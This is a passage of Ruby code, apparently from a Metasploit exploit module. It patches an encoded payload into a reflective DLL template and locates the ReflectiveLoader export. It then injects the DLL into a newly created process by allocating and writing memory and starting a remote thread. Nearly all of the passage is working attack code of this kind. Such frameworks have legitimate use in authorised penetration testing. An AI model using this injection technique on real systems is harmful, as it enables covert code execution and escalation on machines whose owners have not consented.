File.open( file,"rb" ) { |f| dll += f.read(f.stat.size) }
pay = payload.encoded
bo = dll.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
dll[bo, pay.length] = [pay].pack("a*")
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
pe.exports.entries.each do |entry|
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
offset = pe.rva_to_file_offset( entry.rva )
break
end
end
print_error("No offset found") unless offset
new_pid = create_proc
if not new_pid
fail_with(Exploit::Failure::Unknown, "Failed to create a new process")
end
vprint_status("Injecting payload into memory")
host_process = session.sys.process.open(new_pid.to_i, PROCESS_ALL_ACCESS)
mem = host_process.memory.allocate(dll.length + (dll.length % 1024))
host_process.memory.protect(mem)
host_process.memory.write(mem, dll)
print_status("Executing exploit...")
host_process.thread.create(mem+offset)
end
end